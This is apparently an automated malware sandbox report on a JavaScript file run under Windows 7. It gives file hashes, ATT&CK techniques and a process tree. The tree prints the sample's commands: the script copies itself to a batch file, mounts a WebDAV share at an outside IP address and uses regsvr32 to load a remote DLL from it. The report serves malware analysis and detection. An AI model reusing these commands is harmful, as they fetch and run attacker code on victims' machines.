3a1a4f30292ac62adb0ba6fc888d62d2c509bc18ee0d9488cbfaf314177bca48

Analysis

max time kernel
16s
max time network
17s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
10-07-2024 01:22

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General

Target

3a1a4f30292ac62adb0ba6fc888d62d2c509bc18ee0d9488cbfaf314177bca48.js
Size

5KB
MD5

5f883c8c349f5f9e1c8e266556a824ea
SHA1

e01b1513d233bb129de3aecccd75de983ebcee89
SHA256

3a1a4f30292ac62adb0ba6fc888d62d2c509bc18ee0d9488cbfaf314177bca48
SHA512

5d31a94d7fd91788cf5e776e7f5c7e6bf9fb45d300c60ff1fa507ef2fe6d7a34c9eeda01f315cf9e4de71da10563e43c7e6c5bf5e1c2916f0fc7365b01d908bf
SSDEEP

96:zs8vxbHhHTF0Vnpditsd6ZRXKMQTVrukkv:hNHhzi1viid6nXVQTVrpkv

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2676	regsvr32.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 3056 wrote to memory of 2912	3056	wscript.exe	30
PID 3056 wrote to memory of 2912	3056	wscript.exe	30
PID 3056 wrote to memory of 2912	3056	wscript.exe	30
PID 2912 wrote to memory of 2712	2912	cmd.exe	32
PID 2912 wrote to memory of 2712	2912	cmd.exe	32
PID 2912 wrote to memory of 2712	2912	cmd.exe	32
PID 2912 wrote to memory of 2676	2912	cmd.exe	33
PID 2912 wrote to memory of 2676	2912	cmd.exe	33
PID 2912 wrote to memory of 2676	2912	cmd.exe	33
PID 2912 wrote to memory of 2676	2912	cmd.exe	33
PID 2912 wrote to memory of 2676	2912	cmd.exe	33

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\3a1a4f30292ac62adb0ba6fc888d62d2c509bc18ee0d9488cbfaf314177bca48.js
1⤵
- Suspicious use of WriteProcessMemory
PID:3056
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\3a1a4f30292ac62adb0ba6fc888d62d2c509bc18ee0d9488cbfaf314177bca48.js" "C:\Users\Admin\\xeiypl.bat" && "C:\Users\Admin\\xeiypl.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2912
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:2712
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\502.dll
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:2676

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\xeiypl.bat

Filesize
5KB

MD5
5f883c8c349f5f9e1c8e266556a824ea

SHA1
e01b1513d233bb129de3aecccd75de983ebcee89

SHA256
3a1a4f30292ac62adb0ba6fc888d62d2c509bc18ee0d9488cbfaf314177bca48

SHA512
5d31a94d7fd91788cf5e776e7f5c7e6bf9fb45d300c60ff1fa507ef2fe6d7a34c9eeda01f315cf9e4de71da10563e43c7e6c5bf5e1c2916f0fc7365b01d908bf

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